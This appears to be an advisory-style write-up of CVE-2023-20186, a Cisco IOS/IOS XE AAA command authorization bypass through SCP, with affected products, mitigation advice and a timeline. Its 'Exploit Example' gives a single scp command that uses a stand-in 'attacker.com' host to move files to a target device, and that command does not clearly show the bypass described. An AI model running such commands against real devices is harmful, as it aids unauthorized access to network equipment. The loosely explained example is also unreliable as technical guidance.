CVE-2023-20186: Cisco IOS and Cisco IOS XE Software AAA Command Authorization Vulnerability

A critical vulnerability (CVE-2023-20186) has been discovered in Cisco IOS Software and Cisco IOS XE Software, impacting the Authentication, Authorization, and Accounting (AAA) feature. An authenticated, remote attacker could exploit this vulnerability to bypass command authorization checks and gain unauthorized access to the file system using Secure Copy Protocol (SCP). The attacker could then obtain or modify the configuration of the targeted device and transfer files to or from it.

Vulnerable Products

* Cisco IOS Software
* Cisco IOS XE Software

Details of Vulnerability

The vulnerability stems from incorrect processing of SCP commands during AAA command authorization checks. An attacker with valid credentials and level 15 privileges could exploit this vulnerability by using SCP to connect from an external machine to the affected device. If successfully exploited, the attacker could obtain or change the configuration of the affected device and transfer files to or from it.

Exploit Example

For the sake of demonstration, let's assume an attacker has obtained valid level 15 privileges. The attacker can then connect to the affected device from an external machine using SCP as follows:

scp user@attacker.com:path/to/file user@target_device.com:path/to/target/file

By executing the command above, an attacker can bypass command authorization checks and gain access to the file system of the targeted device. They can then transfer files to or from the device, modify the configuration, and potentially further compromise the system.

Additional Links

* Cisco Security Advisory: Cisco IOS and IOS XE Software AAA Command Authorization Vulnerability
* Common Vulnerabilities and Exposures (CVE): CVE-2023-20186

Mitigation and Workarounds

Cisco has released software updates that address this vulnerability, and customers are advised to apply them as soon as possible. No workarounds exist to mitigate this vulnerability, but customers can follow best practices and restrict access only to trusted users and implement the principle of least privilege.

Monitor logs regularly, checking for suspicious activity.

As always, keeping your software up-to-date and following security best practices can help protect your systems from potential attacks.

_Remember, you are responsible for ensuring the security of your systems and data. Always follow best practices and consult with a security professional for guidance on securing your infrastructure._

Timeline

Published on: 09/27/2023 18:15:11 UTC
Last modified on: 10/06/2023 18:14:19 UTC